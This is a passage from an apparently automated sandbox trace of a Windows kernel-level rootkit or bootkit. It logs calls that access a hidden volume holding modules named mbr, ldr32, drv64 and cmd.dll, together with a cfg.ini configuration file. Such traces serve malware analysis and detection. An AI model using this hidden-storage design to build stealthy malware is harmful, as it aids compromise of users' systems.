_Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.326] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.326] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.326] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.326] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf5af0 [0125.326] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.326] KeLeaveCriticalRegion () [0125.326] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.326] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.326] KeEnterCriticalRegion () [0125.326] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.326] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.326] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.326] KeLeaveCriticalRegion () [0125.326] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.326] KeEnterCriticalRegion () [0125.326] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.326] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.326] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.326] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.326] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.326] IdePortDispatch () returned 0x103 [0125.326] KeWaitForMutexObject () returned 0x0 [0125.326] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.326] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.326] KeLeaveCriticalRegion () [0125.326] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.326] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.326] KeEnterCriticalRegion () [0125.326] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.326] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c12000 [0125.326] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.327] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.327] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.327] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.327] IdePortDispatch () returned 0x103 [0125.327] KeWaitForMutexObject () returned 0x0 [0125.327] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.327] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.327] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.327] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.327] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.327] IdePortDispatch () returned 0x103 [0125.327] KeWaitForMutexObject () returned 0x0 [0125.327] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.327] KeLeaveCriticalRegion () [0125.327] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.328] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.328] KeEnterCriticalRegion () [0125.328] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.328] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.328] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.328] KeLeaveCriticalRegion () [0125.328] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.328] KeEnterCriticalRegion () [0125.328] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.328] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.328] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf4410, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.328] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.328] KeLeaveCriticalRegion () [0125.328] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.328] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.328] KeEnterCriticalRegion () [0125.328] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.328] ExFreePoolWithTag (P=0xfffffa8003bf5af0, Tag=0x0) [0125.328] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.328] KeLeaveCriticalRegion () [0125.328] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.328] ReleaseMutex (hMutex=0xf0) returned 1 [0125.328] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0125.328] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0125.328] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0125.328] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.328] KeEnterCriticalRegion () [0125.328] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.328] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.328] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.328] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.328] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.328] IdePortDispatch () returned 0x103 [0125.328] KeWaitForMutexObject () returned 0x0 [0125.329] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.329] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.329] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.329] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.329] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.329] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.329] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.329] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.329] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.329] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.329] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.329] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.329] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.329] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.329] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.329] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.329] KeLeaveCriticalRegion () [0125.329] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.329] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0125.329] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.329] KeEnterCriticalRegion () [0125.329] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.329] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.329] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.329] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.329] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.329] IdePortDispatch () returned 0x103 [0125.329] KeWaitForMutexObject () returned 0x0 [0125.329] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.329] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.329] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.329] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.329] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.329] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.329] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.329] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.329] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.329] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.329] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.329] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.329] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.329] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.329] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.329] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.329] KeLeaveCriticalRegion () [0125.330] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.330] ReleaseMutex (hMutex=0x100) returned 1 [0125.330] Sleep (dwMilliseconds=0x2bf20) [0125.336] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6de5fe90, dwHighDateTime=0x1d24fa4)) [0125.336] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0125.336] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.336] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.336] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.336] KeEnterCriticalRegion () [0125.336] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.336] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.336] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.336] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.336] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.336] IdePortDispatch () returned 0x103 [0125.336] KeWaitForMutexObject () returned 0x0 [0125.336] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.336] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.336] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.336] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.337] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.337] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf7fb0 [0125.337] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.337] KeLeaveCriticalRegion () [0125.337] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.337] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.337] KeEnterCriticalRegion () [0125.337] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.337] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.337] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.337] KeLeaveCriticalRegion () [0125.337] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.337] KeEnterCriticalRegion () [0125.337] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.337] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.337] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.337] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.337] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.337] IdePortDispatch () returned 0x103 [0125.337] KeWaitForMutexObject () returned 0x0 [0125.337] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.337] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.337] KeLeaveCriticalRegion () [0125.337] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.337] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.337] KeEnterCriticalRegion () [0125.337] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.337] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c15000 [0125.337] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.337] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.337] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.337] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.337] IdePortDispatch () returned 0x103 [0125.340] KeWaitForMutexObject () returned 0x0 [0125.340] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.340] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.340] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.340] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.340] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.340] IdePortDispatch () returned 0x103 [0125.340] KeWaitForMutexObject () returned 0x0 [0125.340] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.340] KeLeaveCriticalRegion () [0125.340] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.340] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.341] KeEnterCriticalRegion () [0125.341] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.341] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.341] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.341] KeLeaveCriticalRegion () [0125.341] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.341] KeEnterCriticalRegion () [0125.341] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.341] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.341] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf6f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.341] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.341] KeLeaveCriticalRegion () [0125.341] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.341] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.341] KeEnterCriticalRegion () [0125.341] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.341] ExFreePoolWithTag (P=0xfffffa8003bf7fb0, Tag=0x0) [0125.341] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.341] KeLeaveCriticalRegion () [0125.341] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.341] ReleaseMutex (hMutex=0xf0) returned 1 [0125.341] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.341] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.341] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.341] KeEnterCriticalRegion () [0125.341] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.341] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.341] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.341] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.341] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.341] IdePortDispatch () returned 0x103 [0125.341] KeWaitForMutexObject () returned 0x0 [0125.341] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.341] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.341] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.341] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.341] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.342] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf6650 [0125.342] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.342] KeLeaveCriticalRegion () [0125.342] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.342] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.342] KeEnterCriticalRegion () [0125.342] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.342] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.342] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.342] KeLeaveCriticalRegion () [0125.342] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.342] KeEnterCriticalRegion () [0125.342] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.342] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.342] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.342] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.342] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.342] IdePortDispatch () returned 0x103 [0125.342] KeWaitForMutexObject () returned 0x0 [0125.342] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.342] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.342] KeLeaveCriticalRegion () [0125.342] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.342] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.342] KeEnterCriticalRegion () [0125.342] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.342] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c36000 [0125.342] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.342] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.342] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.342] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.342] IdePortDispatch () returned 0x103 [0125.343] KeWaitForMutexObject () returned 0x0 [0125.343] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.343] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.343] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.343] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.343] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.343] IdePortDispatch () returned 0x103 [0125.343] KeWaitForMutexObject () returned 0x0 [0125.343] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.343] KeLeaveCriticalRegion () [0125.343] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.343] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.343] 